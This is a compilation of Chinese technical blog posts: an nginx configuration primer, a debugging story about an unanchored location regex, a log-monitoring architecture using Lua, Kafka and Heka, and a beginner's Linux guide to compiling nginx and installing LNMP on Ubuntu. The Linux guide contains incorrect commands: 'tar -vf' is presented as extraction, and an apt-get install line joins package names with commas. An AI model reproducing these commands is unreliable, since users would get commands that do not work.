通常一个配置文件会包含若干个server块，并通过他们监听的端口和他们的服务名称来区分。一旦nginx决定了那个由哪个server来处理一个请求，它就会检验请求头部的URI并用location指令的参数和其对比，location块被定义在server块中。


location / {
    root /data/www;
}  



这里location块声明了一个"/"前缀来和请求中的URI进行对比。对于成功匹配的请求，URI会被添加到root指令声明的路径后面，形成一个在本地文件系统中对于所需文件的请求。如果有多个匹配的location块，则nginx选择最长前缀的那个。以上的location块的前缀只有一个字符，是最短的，因此只有当其它location都匹配失败时，这个location才会被选择。


现在，添加第二个location块：


location /images/ {
    root /data;
}



它会匹配以/images/开始的请求(location / 也会匹配这个请求，但它的前缀更短)

现在，server块指令看起来就像这样


server {
    location / {
        root /data/www;
    }

    location /images/ {
        root /data;
    }
}



这个配置已经可以工作了，它监听在标准的80端口上，并且可以在本机上通过http://localhost/访问。为了响应以/images/开头的URI,服务器会从/data/images目录中发送文件。比如：为了响应http://localhost/images/example.png，nginx会发送/data/images/example.png这个文件，如果不存在这样的文件，nginx就会发送404错误。而不以/images/开头的请求则被映射到/data/www目录，比如：http://localhost/some/example.html被映射到/data/www/some/example.html文件。


建立简单的代理服务器


nginx一个最常见的用途就是用作代理服务器，也就是把收到的请求传递给被代理的服务器，并从被代理服务器中取回响应，再将其发送给客户端。


我们会配置一个基本的代理服务器，对于图片文件的请求，从本地目录中发送文件，而对于其它的请求，则把请求转发给另一个被代理服务器。在这个例子里，两个服务器都会在一个单一的nginx实例中被定义。


首先，通过添加一个块指令定义一个被代理服务器：


server {
    listen 8080;
    root /data/up1;

    location / {
    }
}



这是一个监听在8080端口的简单服务器(之前我们定义的server块不声明listen指令是因为使用了标准的80端口)并且会把所有请求映射到本地的 /data/upl 文件夹。创建这个文件夹并且放入一个index.html文件。注意，这里的root指令被放在了server上下文中。当有一个location被选择了而它的内部却没有root指令时，它就会使用server中的这个root指令。


接下来，修改在前一节中的server配置使它变为一个代理服务器的配置。在第一个location块中，添加proxy_pass指令，它的参数是被代理服务器的协议，名称和端口。(本例中，参数是 http://localhost:8080):


server {
    location / {
        proxy_pass http://localhost:8080;
    }

    location /images/ {
        root /data;
    }
}



我们现在修改第二个location块，使它由原先的匹配/images/前缀变为匹配典型的图片文件扩展名。修改后的location如下：


location ~ \.(gif|jpg|png)$ {
    root /data/images;
}



这个参数是一个匹配所有以.gif,.jpg或.png结尾的URI的正则表达式。~ 应该被写在正则表达式前面。


当nginx选择一个location时，它先检查前缀，并且记录匹配的location(最长前缀),然后nginx再检查正则表达式，如果有一个正则表达式匹配，它就选择这个location，否则，选择之前记录的location。


最终的代理服务器配置：


server {
    location / {
        proxy_pass http://localhost:8080/;
    }

    location ~ \.(gif|jpg|png)$ {
        root /data/images;
    }
}



现在，这个服务器可以将以.gif,.jpg或.png结尾的请求映射到本机目录，将其它所有请求发送到被代理服务器。


为了使配置生效，要发送reload信号。


建立FastCGI代理


nginx可以用来把请求路由给FastCGI服务器。FastCGI服务器可以运行由多种框架和程序语言(如PHP)构建的应用。


最基本的配置方法是使用fastcgi_pass指令取代proxy_pass指令，并且用fastcgi_param指令设置参数。假设FastCGI服务器可访问路径是localhost:9000，用前一节的代理服务器的配置作为基础进行修改。在PHP下，SCRIPT_FILENAME 参数是用来指定脚本名称, QUERY_STRING 是用来传递请求参数。改变结果如下：


server {
    location / {
        fastcgi_pass  localhost:9000;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param QUERY_STRING    $query_string;
    }

    location ~ \.(gif|jpg|png)$ {
        root /data/images;
    }
}



到此就建立了一个FastCGI代理服务器，可以将静态图片以外的请求通过FastCGI协议传递给被代理服务器 localhost:9000
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  这是五个小时与一个字符的战斗




是的，作为一个程序员，你往往发现，有的时候你花费了数小时，数天，甚至数星期来查找问题，但最终可能只花费了数秒，改动了数行，甚至几个字符就解决了问题。这次给大家分享一个困扰了我很久，我花了五个小时才查找出问题原因，最终只添加了一个字符解决了的问题。


问题描述


我们的业务系统比较复杂，但最终提供给用户的访问接口比较单一，都是使用 Nginx 来做一个代理转发，而这个代理转发，往往需要匹配很多种不同类型的 URL 转给不同的服务。这就使得我们的 Nginx 配置文件变得很复杂，粗略估计了下，我们有近20个 upstream，有近60个 location 匹配。这些配置按照模块分布在不同的文件中，虽然复杂，但是仍然在我们的努力下运行的良好。直到有一天，有位同事给我反映说偶尔有些 URL 会出现 404 的问题。一开始没太在意，因为他也说不准是哪一种 URL 才遇到这个问题。


问题查找


后来，慢慢的查找，找到了一些规律，一开始只知道是 tomcat 那边返回 404了，想到 Nginx 都代理给了 tomcat，一开始就怀疑是程序的问题，不会想到是 Nginx。


我开始查找代码的问题，我在本地的开发环境，尝试了很久，我使用 8080 端口访问，不论如何都是正确的结果，可是生产环境就是不行。然后我就听信了某坑友同事的理论，重启解决 95% 的问题，重装解决 100%的问题，我尝试重启了 tomcat 和 Nginx，依然不行，然后是重装，你猜结果如何？？？？？ ------想啥呢？当然也是不行！


后来就开始怀疑是生产环境和开发环境的差异，去服务器上访问 8080 端口，仍然是可以的。可是一经过 Nginx 代理，就不行。这个时候才开始怀疑是 Nginx 出了什么问题。


Nginx 怎么会出问题呢，业务系统中 URL 模式 /helloworld/* ,这样的 URL 我们都是统一处理的。怎么会出现一些行，一些不行呢。问题表现为 A URL （/helloworld/nn/hello/world）没问题，而 B URL(/helloworld/ii/hello/world) 有问题。


所以到目前为止，基本可以肯定是 Nginx 的 location 上出了一些问题。


问题解决


因篇幅有限，为了直面本次问题的核心，我不再贴出完整的 Nginx 配置，我简化此次问题的模型。请看如下 Nginx 配置，这是我们之前的会导致问题的错误配置模型。


worker_processes  1;
error_log  logs/error.log;
events {
    worker_connections  1024;
}

http {
    include       mime.types;
    default_type  application/octet-stream;
    log_format  main  '$remote_addr - $request_time - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  logs/access.log main;

    sendfile        on;
    keepalive_timeout  65;

    gzip  on;

    server {
        listen       80;
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
        location = /helloworld {
                return 602;
        }
        location /helloworld {
                return 603;
        }

        ## 生产环境中如下两个 location 在另外一个文件中，通过 include 包含进来
        location /ii {
                return 604;
        }
        location ~ /ii/[^\/]+/[^\/]+ {
                return 605;
        }
        ##

        location ~ ^/helloworld/(scripts|styles|images).* {
                return 606;
        }
    }
}



注意，这里有几点需要说明一下，生产环境的 Nginx 服务器配置文件比这里要复杂很多，而且是按模块分布在不同的文件中的。这里简化模型后，使用 Http 响应状态码 60x 来区分到底被哪个 location 匹配到了。

我针对当时的情况，做了大量尝试，最终的简化版本如下：



	尝试1：http://localhost/helloworld  ==> 602 符合预期

	尝试2：http://localhost/helloworld/hello ==> 603 符合预期

	尝试3：http://localhost/ii ==> 604 符合预期

	尝试4：http://localhost/ii/oo ==> 604 符合预期

	尝试5：http://localhost/ii/pp/kk ==> 605 符合预期

	尝试6：http://localhost/ii/pp/kk/ll ==> 605 符合预期

	尝试7：http://localhost/helloworld/scripts/aaa.js ==> 606 符合预期

	尝试8：http://localhost/helloworld/ii/hello/world ==> 605 不符合预期，预期为【603】




  上面这些尝试支持读者自行试验，Nginx 配置文件是完整可用的，我本地 Nginx 的版本是1.6.2




问题就在这里：我这里是事后，把这些匹配 location 标记成了不同的响应码，才方便查找问题。当发现这个不符合预期后，我还是难以理解，为何我一个以 /helloworld 开头的 URL 会被匹配到 605 这个以 /ii 开头的 location 里面来。在当时的生产环境中，以 /ii 的配置统一放在另外一个文件中，这里是很难直观的察觉出来这个 /ii 跟访问的 URL 里面的 /ii 的关系。


我不得不重新编译了 Nginx ，加上了调试参数，修改配置项，看调试日志了。


这里不再讲如何给 Nginx 加调试的编译参数，可自行查看相关文档。修改配置项很简单，只需要在


error_log  logs/error.log;



后面加上 debug 就可以了。


打出详细调试日志后，访问


http://localhost/helloworld/ii/hello/world



我得到了这样的一段日志(省略掉了前后无用的日志，只保留有意义的一段)：


2015/02/02 15:38:48 [debug] 5801#0: *60 http request line: "GET /helloworld/ii/hello/world HTTP/1.1"
2015/02/02 15:38:48 [debug] 5801#0: *60 http uri: "/helloworld/ii/hello/world"
2015/02/02 15:38:48 [debug] 5801#0: *60 http args: ""
2015/02/02 15:38:48 [debug] 5801#0: *60 http exten: ""
2015/02/02 15:38:48 [debug] 5801#0: *60 http process request header line
2015/02/02 15:38:48 [debug] 5801#0: *60 http header: "User-Agent: curl/7.37.1"
2015/02/02 15:38:48 [debug] 5801#0: *60 http header: "Host: localhost"
2015/02/02 15:38:48 [debug] 5801#0: *60 http header: "Accept: */*"
2015/02/02 15:38:48 [debug] 5801#0: *60 http header done
2015/02/02 15:38:48 [debug] 5801#0: *60 event timer del: 4: 1422862788055
2015/02/02 15:38:48 [debug] 5801#0: *60 rewrite phase: 0
2015/02/02 15:38:48 [debug] 5801#0: *60 test location: "/"
2015/02/02 15:38:48 [debug] 5801#0: *60 test location: "ii"
2015/02/02 15:38:48 [debug] 5801#0: *60 test location: "helloworld"
2015/02/02 15:38:48 [debug] 5801#0: *60 test location: ~ "/ii/[^\/]+/[^\/]+"
2015/02/02 15:38:48 [debug] 5801#0: *60 using configuration "/ii/[^\/]+/[^\/]+"
2015/02/02 15:38:48 [debug] 5801#0: *60 http cl:-1 max:1048576
2015/02/02 15:38:48 [debug] 5801#0: *60 rewrite phase: 2
2015/02/02 15:38:48 [debug] 5801#0: *60 http finalize request: 605, "/helloworld/ii/hello/world?" a:1, c:1
2015/02/02 15:38:48 [debug] 5801#0: *60 http special response: 605, "/helloworld/ii/hello/world?"
2015/02/02 15:38:48 [debug] 5801#0: *60 http set discard body
2015/02/02 15:38:48 [debug] 5801#0: *60 posix_memalign: 00007FC3BB816000:4096 @16
2015/02/02 15:38:48 [debug] 5801#0: *60 HTTP/1.1 605
Server: nginx/1.6.2
Date: Mon, 02 Feb 2015 07:38:48 GMT
Content-Length: 0
Connection: keep-alive



可以看到，Nginx 测试了几次 location 匹配，最终选择了


~ "/ii/[^\/]+/[^\/]+"



这个作为最终的匹配项。到这里问题就完全展现出来了，我们本来的意思，是要以 /ii 开头，后面有两个或者更多的 / 分割的 URL 模型才匹配，但是这里的正则表达式匹配写的不够精准，导致了匹配错误。正则表达式没有限制必须从开头匹配，所以才会匹配到 /helloworld/ii/hello/world 这样的 URL 。


解决办法就是在这个正则表达式前面加上 ^ 来强制 URL 必须以 /ii 开头才能匹配.

由


/ii/[^\/]+/[^\/]+



变成


^/ii/[^\/]+/[^\/]+



至此，这个坑被填上了，消耗的是五个小时和一个字符。


相信很多人在写 Nginx 的location 的时候都会 location ~ /xxx 或者 location /iii 这样简单了事，但是我想说的是能尽量精确就尽量精确，否则出现问题的时候，非常难以查找。



  有关 Nginx 的 location 匹配规则，可以查看: http://nginx.org/en/docs/http/ngx_http_core_module.html




问题总结


这个问题看似简单，却也隐含了不少问题，值得我们深思。



	计算机或者软件出的问题往往是确定的，你发现他捉摸不定的时候，往往是没有观察到问题点

	追踪一个问题，如果有一个必现方式，一定要紧追不舍，这就是所谓线索

	当你实在是找不到问题所在的时候，要怀疑一下之前被自己排除掉的可能性

	借助各个组件的详细调试日志来查找问题，往往能得到意想不到的效果

	程序员的价值不是用行数，字数，提交数衡量的！




  本文作者: 王振威
文章出自: Coding 官方技术博客

  如需转载，请注明作者与出处，谢谢




 基于Lua+Kafka+Heka的Nginx Log实时监控系统

作者：马隆博

来源： 基于Lua+Kafka+Heka的Nginx Log实时监控系统



                    
背景

在我们的系统架构中，Nginx作为所有HTTP请求的入口，是非常重要的一层。每天产生大量的Nginx Access Log，闲置在硬盘上实在是太浪费资源了。所以，能不能把Nginx日志利用起来，实时监控每个业务的访问趋势、用户行为、请求质量和后端异常呢，这就是本文要探讨的主题。

目的


	错误码告警（499、500、502和504）；


	upstream_response_time超时告警；


	request_time超时告警；


	数据分析；




关于错误和超时监控有一点要考虑的是收到告警时，要能够快速知道是哪个后端服务节点出现了问题。
在这之前，我们都是通过随机进入一个Nginx节点tail log才能定位到，效率有些低。

架构

废话不多说，先上架构图。整体架构没太复杂的地方，随便画了一张，莫笑话我~



日志采集

这部分结合lua-resty-kafka使用Lua扩展将数据按照一定格式拼接后写入Kafka集群。Nginx+Lua的性能就不用多说了，这样一来完全可以关掉Nginx本身的日志开关，减少磁盘消耗；

消息队列

我们数据分析组的同事在这之前就已经建立Kafka集群，无需再搞一套消息队列服务。另外一个很重要的点是，我们不希望日志数据取完就删掉了，运维组除了要做监控告警之外，数据组也要读取数据做分析。因此，如Redis此类的消息队列就直接被我们pass掉了；

异常监控计算

这部分使用Heka来做，Heka使用Go语言编写，内置丰富的插件可以满足大部分的需求。若不满足需求，可以使用Go或者Lua自行开发扩展。之前使用过Logstash做业务日志收集，但它有时的CPU占用实在太吓人，不敢再在业务机上使用，并且感觉扩展不方便。就我们目前的应用来看，Heka的性能和资源占用还是很不错的。

可以使用Filter做计算，有错误时向Heka消息流中写入告警消息，SMTPOuter匹配到告警消息后通过自定义的Encoder定制好邮件内容后再发送。

可视化

Heka层一方面做异常监控，另一方面使用Message Matcher Syntax匹配异常数据写入到Elasticsearch, 再架设一个Kibana。我们在收到告警邮件后，就可以进入Kibana后台查看异常的Log。

不足


	邮件告警机制需要优化, 我们目前的设置是每分钟检查一次，发现错误就会一直告警。之后可以优化为发现异常时告警一次，异常结束时再发一次汇总邮件；


	Heka服务管理和进程监控需要优化，支持自动重启，不然进程挂了都不知道；


	Heka配置接入配置中心并支持自动重启（目前的配置主要是各业务的告警阀值，需要进入机器修改）；




总结

整个开发过程还是比较顺利的，唯一比较耗时的是熟悉Heka的整个消息处理的流程和机制，以及如何开发扩展。另一个比较坑的是Heka的错误提示不全和调试不方便，有时完全靠猜，不过好在它本身并没有多复杂，有些问题看一看源代码就明白了。

关于消息队列的选择，前面已经提到我们已有Kafka集群就直接拿来用了。如果仅仅做异常监控，不需要消息留存, 倒可以考虑使用Redis之类轻量些的消息队列, Kafka未免有些重了。

原文地址: http://mlongbo.com/2015/NginxLog%E5%AE%9...



扫描二维码，关注我。
内容大多会是后端技术、前端工程、DevOps，偶尔会有一些大数据相关，会推荐一些好玩的东西。希望你会喜欢~




 一步步搭建物联网系统——GNU/Linux 强大且Free

作者：phodal

来源： 一步步搭建物联网系统——GNU/Linux 强大且Free



                    
GNU/Linux 强大且Free





什么是Linux


Linux是一种自由和开放源码的类UNIX操作系统内核。目前存在着许多不同的Linux发行版，可安装在各种各样的电脑硬件设备，从手机、平板电脑、路由器和影音游戏控制台，到桌上型电脑，大型电脑和超级电脑。

Linux是一个领先的操作系统内核，世界上运算最快的10台超级电脑运行的都是基于Linux内核的操作系统。


Linux操作系统也是自由软件和开放源代码发展中最著名的例子。只要遵循GNU通用公共许可证,任何人和机构都可以自由地使用Linux的所有底层源代码，也可以自由地修改和再发布。严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU工程各种工具和数据库的操作系统（也被称为GNU/Linux）。通常情况下，Linux被打包成供桌上型电脑和服务器使用的Linux发行版本。一些流行的主流Linux发行版本，包括Debian（及其衍生版本Ubuntu），Fedora和openSUSE等。Linux得名于电脑业余爱好者Linus Torvalds。


而不是如百度百科所讲的~~Linux操作系统是UNIX操作系统的一种克隆系统。它诞生于1991年的 Linux桌面[1]10 月5日（这是第一次正式向外公布的时间）。以后借助于Internet网络，并通过全世界各地计算机爱好者的共同努力，已成为今天世界上使用最多的一种UNIX类操作系统，并且使用人数还在迅猛增长。~~


Linux只是个内核，而不是操作系统，所以在这我们再理解一下操作系统是由什么组成的。


操作系统


操作系统（英语：Operating

System，简称OS）是管理计算机硬件与软件资源的计算机程序，同时也是计算机系统的内核与基石。操作系统需要处理如管理与配置内存、决定系统资源供需的优先次序、控制输入与输出设备、操作网络与管理文件系统等基本事务。操作系统也提供一个让用户与系统交互的操作界面。

操作系统的型态非常多样，不同机器安装的操作系统可从简单到复杂，可从手机的嵌入式系统到超级计算机的大型操作系统。许多操作系统制造者对它涵盖范畴的定义也不尽一致，例如有些操作系统集成了图形用户界面(GUI)，而有些仅使用命令行界面(CLI)，而将GUI视为一种非必要的应用程序。


操作系统位于底层硬件与用户之间，是两者沟通的桥梁。用户可以通过操作系统的用户界面，输入命令。操作系统则对命令进行解释，驱动硬件设备，实现用户要求。以现代标准而言，一个标准PC的操作系统应该提供以下的功能：



	进程管理（Processing management）

	内存管理（Memory management）

	文件系统（File system）

	网络通信（Networking）

	安全机制（Security）

	用户界面（User interface）

	驱动程序（Device drivers）



而让我们来看一下两者之间的不同之处，这是一张linux的架构图我们可以发现内核只是位于底层。


Linux架构图





用户模式


应用程序（sh、vi、OpenOffice.org等）


复杂库（KDE、glib等）

简单库（opendbm、sin等）


C库（open、fopen、socket、exec、calloc等）


内核模式



	系统中断、调用、错误等软硬件消息

	内核（驱动程序、进程、网络、内存管理等）

	硬件（处理器、内存、各种设备）



我们可以发现，由linux内核+shell可以构成一个操作系统，而linux本身只是个内核，也就是图中的内核模式，负责控制系统的这些部分。也就是我们可以发现，Linux内核构成了一个操作系统除用户界面以外的部分，而shell就是这最后的用户界面。


而linux内核以外的部分就是由GNU计划构成的。


Shell





Shell是系统的用户界面，提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。


实际上Shell是一个命令解释器，它解释由用户输入的命令并且把它们送到内核。不仅如此，Shell有自己的编程语言用于对命令的编辑，它允许用户编写由shell命令组成的程序。Shell编程语言具有普通编程语言的很多特点，比如它也有循环结构和分支控制结构等，用这种编程语言编写的Shell程序与其他应用程序具有同样的效果


bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写：Bourne-Again SHell — 这是关于Bourne shell（sh）的一个双关语（Bourne again / born

again）。Bourne shell是一个早期的重要shell，由史蒂夫·伯恩在1978年前后编写，并同Version 7 Unix一起发布。bash则在1987年由布莱恩·福克斯创造。在1990年，Chet Ramey成为了主要的维护者。


shell将会是我们在GNU/linux中经常用到的经常有到的工具之一，用来操作计算机用的。在迁移到linux之前我们可以试用cygwin来进行模拟：


Cygwin是许多自由软件的集合，最初由Cygnus Solutions开发，用于各种版本的Microsoft Windows上，运行UNIX类系统。


GCC


GCC（GNU Compiler Collection，GNU编译器套装），是一套由GNU开发的编程语言编译器。它是一套以GPL及LGPL许可证所发行的自由软件，也是GNU计划的关键部分，亦是自由的类Unix及苹果电脑Mac OS X 操作系统的标准编译器。GCC（特别是其中的C语言编译器）也常被认为是跨平台编译器的事实标准。


GCC原名为GNU C语言编译器（GNU C Compiler），因为它原本只能处理C语言。GCC很快地扩展，变得可处理C++。之后也变得可处理Fortran、Pascal、Objective-C、Java、Ada，以及Go与其他语言。


c#include <stdio.h>
main()
{
  printf("Hello world\n");
}



bash~/temp/free> gcc hello.c -o hello
hello.c:2:1: warning: type specifier missing, defaults to 'int' [-Wimplicit-int]
main()
^~~~
1 warning generated.
~/temp/free> ./hello
Hello world



同shell一样，对于GNU/linux系统而言,GCC的作用也是无可取代的。当然如果只是一般用途的话，GCC对于一般用户可能没用，但是在些GNU/Linux系统上，我们可能就需要自己编译源码成二进制文件，而没有软件包，因而其重要性是不言而喻的。自然的如果我们自己动手编译GNU/Linux操作系统的话，我们会理解其的重要意义。有兴趣的同学可以试一下：Linux

From Scratch (LFS)。


启动引导程序


最后，当我们构成以上的那些之后，我们就需要一个引导程序，以便使系统启动，引导进内核。


启动程序（bootloader）于电脑或其他计算机应用上，是指引导操作系统启动的程序。启动程序启动方式与程序视应用机型种类。例如在普通PC上，引导程序通常分为两部分：第一阶段引导程序位于主引导记录，用于引导位于某个分区上的第二阶段引导程序，如NTLDR、GNU

GRUB等。


BIOS

开机完成后，bootloader就接手初始化硬件设备、创建存储器空间的映射，以便为操作系统内核准备好


正确的软硬件环境。


简单的bootloader的虚拟汇编码，如其后的八个指令:



	0: 将P暂存器的值设为8

	1: 检查纸带({paper tape)读取器，是否已经可以进行读取

	2: 如果还不能进行读取, 跳至1

	3: 从纸带读取器，读取一byte至累加器

	4: 如为带子结尾，跳至8

	5: 将暂存器的值，存储至P暂存器中的数值所指定的地址

	6: 增加P暂存器的值

	7: 跳至1



但是随着计算机操作系统越来越复杂，位于MBR的空间已经放不下引导操作系统的代码，于是就有了第二阶段的引导程序，而MBR中代码的功能也从直接引导操作系统变成了引导第二阶段的引导程序。


通常在一个GNU/Linux系统中选用GNUGRUB做为引导程序，例如Ubuntu就是用GRUB2。


GNU GRUB（简称“GRUB”）是一个来自GNU项目的启动引导程序。GRUB是多启动规范的实现，它允许用户可以在计算机内同时拥有多个操作系统，并在计算机启动时选择希望运行的操作系统。GRUB可用于选择操作系统分区上的不同内核，也可用于向这些内核传递启动参数。


GNU GRUB的前身为Grand Unified Bootloader。它主要用于类Unix系统；同大多Linux发行版一样，GNU系统也采用GNU GRUB作为它的启动器。Solaris从10 1/06版开始在x86系统上也采用GNU GRUB作为启动器。


以上也就构成了一个简单的操作系统。


从编译开始


我们以一次编译开始我们的Linux学习之旅。


开始之前



	如果你没有用过GNU/Linux，我想你需要在虚拟机上安装一个。

	一个主流的GNU/Linux发行版，如Ubuntu,CentOS,Debian,Mint,OpenSUSE,Fedora等等。

	学会如何打开shell(ps:bash,zsh,sh等等)。



或者你也可以在Windows上安装Cygwin。


编译Nginx


1.下载这个软件的源码包


bashwget http://nginx.org/download/nginx-1.7.4.tar.gz



wget是一个用于下载的软件，当然你也可以用软件，只是用wget似乎会比图形界面快哦。


2.解压软件包


bashtar -vf nginx-1.7.4.tar.gz



-vf的意思是Extract，也就是解压，而tar则是这个解压软件的名字。看上去似乎比WinRAR来得复制得多，但是你可以计时一下，从下载到解压完，和你用鼠标比哪个比较快。


3.到nginx目录下


这里需要分两部进行


1).列出所有文件


bashls -al

drwxr-xr-x   15 fdhuang  staff   510B Sep  2 13:44 nginx-1.7.4
-rw-r--r--    1 fdhuang  staff   798K Aug  5 21:55 nginx-1.7.4.tar.gz



2).到nginx-1.7.4目录


bashcd nginx-1.7.4 



4.配置nginx


一次简单的配置如下


bash./configure



当你熟练以后，你可能和我一样用下面的配置(注意:用下面的代码会出错。)


bash./configure --user=www --group=www --add-module=../ngx_pagespeed-1.8.3.4-beta --add-module=../ngx_cache_purge --prefix=/usr/local/nginx --with-pcre --with-http_spdy_module --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-mail --with-mail_ssl_module --with-ipv6



过程中可能会提示你其中出了多少错误，而这时你便可以很愉快地去用搜索引擎搜索他们。


5.make


这里就会用到GCC等等。


bashmake



6.运行


如果运行顺利的话，应该可以直接


bash./objs/nginx   



其他


1.如果没有wget,make,gcc等命令的时候可以用类似于下面的方法安装，


bashsudo apt-get install gcc,make,wget



2.正常情况下一个开源项目都会有一个README，会告诉你应该如何去做。


包管理


GNU/Linux最方便的东西莫过于包管理了。


引自OpenSUSE官网的说明及图片1






	Linux 发行版无非就是一堆软件包 (package) 形式的应用程序加上整体地管理这些应用程序的工具。通常这些 Linux 发行版，包括 openSUSE，都是由成千上万不同的软件包构成的。


	软件包: 软件包不止是一个文件，内含构成软件的所有文件，包括程序本身、共享库、开发包以及使用说明等。


	元数据 (metadata) 包含于软件包之中，包含软件正常运行所需要的一些信息。软件包安装之后，其元数据就存储于本地的软件包数据库之中，以用于软件包检索。


	依赖关系 (dependencies) 是软件包管理的一个重要方面。实际上每个软件包都会涉及到其他的软件包，软件包里程序的运行需要有一个可执行的环境（要求有其他的程序、库等），软件包依赖关系正是用来描述这种关系的。




Linux 下的软件包通常是以下三种格式：



	tgz - tar gzip 文件。这类文件是基本的压缩软件包，可以容纳软件包维护者认为有用的所有的东西。此格式除本身的压缩格式外，并没有有关软件包内容的标准。

	deb - 此格式的软件包常用于 Debian 系统，是标准的 Debian 软件包格式。

	rpm - 此格式由 Red Hat Linux 所创建，并经由 LSB 标准化，现已为众多 Linux 发行版所采用，是一个优秀的软件包格式。openSUSE 即是用此格式。更多信息可以参阅此处。




  所以这就需要能自动解决依赖关系的软件包管理器。软件包管理系统就是一个工具集，为系统提供一个统一的安装、升级、删除软件的方式。




Ubuntu LNMP


在余下的章节中，我们需要去部署，需要去使用Ubuntu。如果在Windows下可以使用LAMP，但是在这里我们只说Ubuntu。开始之前你需要安装好Ubuntu，无论是在虚拟机，还是在真机安装，或者是Docker。


Update软件包列表


apt-get是debian，ubuntu发行版的包管理工具。apt-get update可以确保我们的软件包列表是最新的，下面是一个简单的更新过程。


打开Terminal或者Konsole等等之类的终端控制台。


bashroot@70cdc7a176a5:/# sudo apt-get update
Ign http://archive.ubuntu.com trusty InRelease
Ign http://archive.ubuntu.com trusty-updates InRelease
Ign http://archive.ubuntu.com trusty-security InRelease
Ign http://archive.ubuntu.com trusty-proposed InRelease
Get:1 http://archive.ubuntu.com trusty Release.gpg [933 B]
Get:2 http://archive.ubuntu.com trusty-updates Release.gpg [933 B]
Get:3 http://archive.ubuntu.com trusty-security Release.gpg [933 B]
Get:4 http://archive.ubuntu.com trusty-proposed Release.gpg [933 B]
Get:5 http://archive.ubuntu.com trusty Release [58.5 kB]
Get:6 http://archive.ubuntu.com trusty-updates Release [62.0 kB]
Get:7 http://archive.ubuntu.com trusty-security Release [62.0 kB]
Get:8 http://archive.ubuntu.com trusty-proposed Release [209 kB]
Get:9 http://archive.ubuntu.com trusty/main Sources [1335 kB]
Get:10 http://archive.ubuntu.com trusty/restricted Sources [5335 B]
Get:11 http://archive.ubuntu.com trusty/universe Sources [7926 kB]
Get:12 http://archive.ubuntu.com trusty/main amd64 Packages [1743 kB]
Get:13 http://archive.ubuntu.com trusty/restricted amd64 Packages [16.0 kB]
Get:14 http://archive.ubuntu.com trusty/universe amd64 Packages [7589 kB]
64% [14 Packages 664 kB/7589 kB 9%]                          58.3 kB/s 1min 58s



更新完应该会显示:


bashFetched 20.5 MB in 5min 22s (63.6 kB/s)
Reading package lists... Done



安装MySQL


安装命令


bashsudo apt-get install mysql-server php5-mysql



过程:


bashroot@70cdc7a176a5:/# sudo apt-get install mysql-server php5-mysql
Reading package lists... 0%
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libaio1 libdbd-mysql-perl libdbi-perl libhtml-template-perl libmysqlclient18
  libterm-readkey-perl libwrap0 lsof mysql-client-5.5 mysql-client-core-5.5
  mysql-common mysql-server-5.5 mysql-server-core-5.5 php5-common php5-json
  psmisc tcpd
Suggested packages:
  libclone-perl libmldbm-perl libnet-daemon-perl libplrpc-perl
  libsql-statement-perl libipc-sharedcache-perl tinyca mailx php5-user-cache
The following NEW packages will be installed:
  libaio1 libdbd-mysql-perl libdbi-perl libhtml-template-perl libmysqlclient18
  libterm-readkey-perl libwrap0 lsof mysql-client-5.5 mysql-client-core-5.5
  mysql-common mysql-server mysql-server-5.5 mysql-server-core-5.5 php5-common
  php5-json php5-mysql psmisc tcpd
0 upgraded, 19 newly installed, 0 to remove and 12 not upgraded.
Need to get 9982 kB of archives.
After this operation, 99.1 MB of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu/ trusty/main libaio1 amd64 0.3.109-4 [6364 B]
Get:2 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-common all 5.5.40-0ubuntu0.14.04.1 [14.1 kB]
Get:3 http://archive.ubuntu.com/ubuntu/ trusty-updates/main libmysqlclient18 amd64 5.5.40-0ubuntu0.14.04.1 [598 kB]
Get:4 http://archive.ubuntu.com/ubuntu/ trusty/main libwrap0 amd64 7.6.q-25 [46.2 kB]
Get:5 http://archive.ubuntu.com/ubuntu/ trusty/main libdbi-perl amd64 1.630-1 [879 kB]
Get:6 http://archive.ubuntu.com/ubuntu/ trusty/main libdbd-mysql-perl amd64 4.025-1 [99.3 kB]
Get:7 http://archive.ubuntu.com/ubuntu/ trusty/main libterm-readkey-perl amd64 2.31-1 [27.4 kB]
Get:8 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-client-core-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [703 kB]
Get:9 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-client-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [1466 kB]
Get:10 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-server-core-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [3215 kB]
47% [10 mysql-server-core-5.5 850 kB/3215 kB 26%]             79.9 kB/s 1min 6s



在安装的过程中会要求你输入数据库密码。(默认为空)


安装Nginx


bashecho "deb http://ppa.launchpad.net/nginx/stable/ubuntu $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/nginx-stable.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
sudo apt-get update
sudo apt-get install nginx



启动Nginx Server


bashsudo service nginx start



安装PHP


sudo apt-get install php5-fpm


安装过程


bashroot@70cdc7a176a5:/# sudo apt-get install php5-fpm
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libsystemd-daemon0
Suggested packages:
  php-pear
The following NEW packages will be installed:
  libsystemd-daemon0 php5-fpm
0 upgraded, 2 newly installed, 0 to remove and 12 not upgraded.
Need to get 2201 kB of archives.
After this operation, 9326 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu/ trusty-proposed/main libsystemd-daemon0 amd64 204-5ubuntu20.8 [9608 B]
